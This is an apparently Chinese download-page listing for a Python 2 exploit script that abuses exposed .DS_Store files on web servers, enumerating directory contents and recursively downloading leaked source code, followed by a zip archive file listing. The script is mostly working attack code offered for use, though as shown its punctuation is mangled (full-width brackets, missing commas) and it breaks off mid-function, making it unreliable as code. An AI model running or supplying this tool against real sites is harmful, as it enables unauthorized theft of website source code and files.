DS_Store文件泄漏利用python脚本

.DS_Store文件泄漏利用python脚本,自动检测下载.DS_Store类型泄露源码。

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# LiJiejie    my[at]lijiejie.com    http://www.lijiejie.com

import sys
import urllib2
import cStringIO
import urlparse
import os
import Queue
import threading
from lib.ds_store import DSStore


class Scanner（object）:
    def __init__（self start_url）:
        self.queue = Queue.Queue（）
        self.queue.put（start_url）
        self.processed_url = set（）
        self.lock = threading.Lock（）
        self.working_thread = 0

    def process（self）:
        while True:
            try:
                url = self.queue.get（timeout=2.0）
                self.lock.acquire（）
                self.working_thread += 1
                self.lock.release（）
            except Exception e:
                if self.working_thread == 0:
                    break
                else:
                    continue
            try:
                if url in self.processed_url:
                    pass
                else:
                    self.processed_url.add（url）
                base_url = url.rstrip（‘.DS_Store‘）
                if not url.lower（）.startswith（‘http‘）:
                    url = ‘http://%s‘ % url
                schema netloc path _ _ _ = urlparse.urlparse（url ‘http‘）
                try:
                    response = urllib2.urlopen（url）
                except Exception e:
                    if str（e） == ‘HTTP Error 403: Forbidden‘:
                        self.lock.acquire（）
                        print ‘[Folder Found] %s‘ % url
                        self.lock.release（）
                    continue
                data = response.read（）

                if response.code == 200:
                    folder_name = netloc.replace（‘:‘ ‘_‘） + ‘/‘.join（path.split（‘/‘）[:-1]）
                    if not os.path.exists（folder_name）:
                        os.makedirs（folder_name）
                    with open（netloc.replace（‘:‘ ‘_‘） + path ‘wb‘） as outFile:
                        self.lock.acquire（）
                        print ‘[+] %s‘ % url
                        self.lock.release（）
                        outFile.write（data）
                    if url.endswith（‘.DS_Store‘）:
                        ds_store_file = cStringIO.StringIO（）
                        ds_store_file.write（data）
                        d = DSStore.open（ds_store_file）

                        dirs_files = set（）
                        for x in d.traverse（）:
                            dirs_files.add（x.filename）
                        for name in dirs_files:
                            if name != ‘.‘:
                                self.queue.put（base_url + name）
                                self.queue.put（base_url + name + ‘/.DS_Store‘）
                        d.close（）
            except:
                pass
            finally:
                self.working_thread -= 1

    def scan（self）:
        all_threads = []
        for i in range（10）:
            t = threading.Thread（target=self.process）
            all_

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-06-22 21:58  Ds_Store源码下载\
     文件          17  2017-04-01 15:50  Ds_Store源码下载\.gitignore
     文件        3400  2017-04-01 15:50  Ds_Store源码下载\ds_store_exp.py
     文件         961  2018-06-22 21:33  Ds_Store源码下载\ds_store_exp.py - 快捷方式.lnk
     目录           0  2018-06-22 21:33  Ds_Store源码下载\lib\
     目录           0  2018-06-22 21:33  Ds_Store源码下载\lib\ds_store\
     文件        3953  2017-04-01 15:50  Ds_Store源码下载\lib\ds_store\buddy.py
     文件        5205  2018-06-22 21:33  Ds_Store源码下载\lib\ds_store\buddy.pyc
     文件        2741  2017-04-01 15:50  Ds_Store源码下载\lib\ds_store\store.py
     文件        3995  2018-06-22 21:33  Ds_Store源码下载\lib\ds_store\store.pyc
     文件          80  2017-04-01 15:50  Ds_Store源码下载\lib\ds_store\__init__.py
     文件         272  2018-06-22 21:33  Ds_Store源码下载\lib\ds_store\__init__.pyc
     文件           0  2017-04-01 15:50  Ds_Store源码下载\lib\__init__.py
     文件         146  2018-06-22 21:33  Ds_Store源码下载\lib\__init__.pyc
     文件        3839  2017-04-01 15:50  Ds_Store源码下载\README.md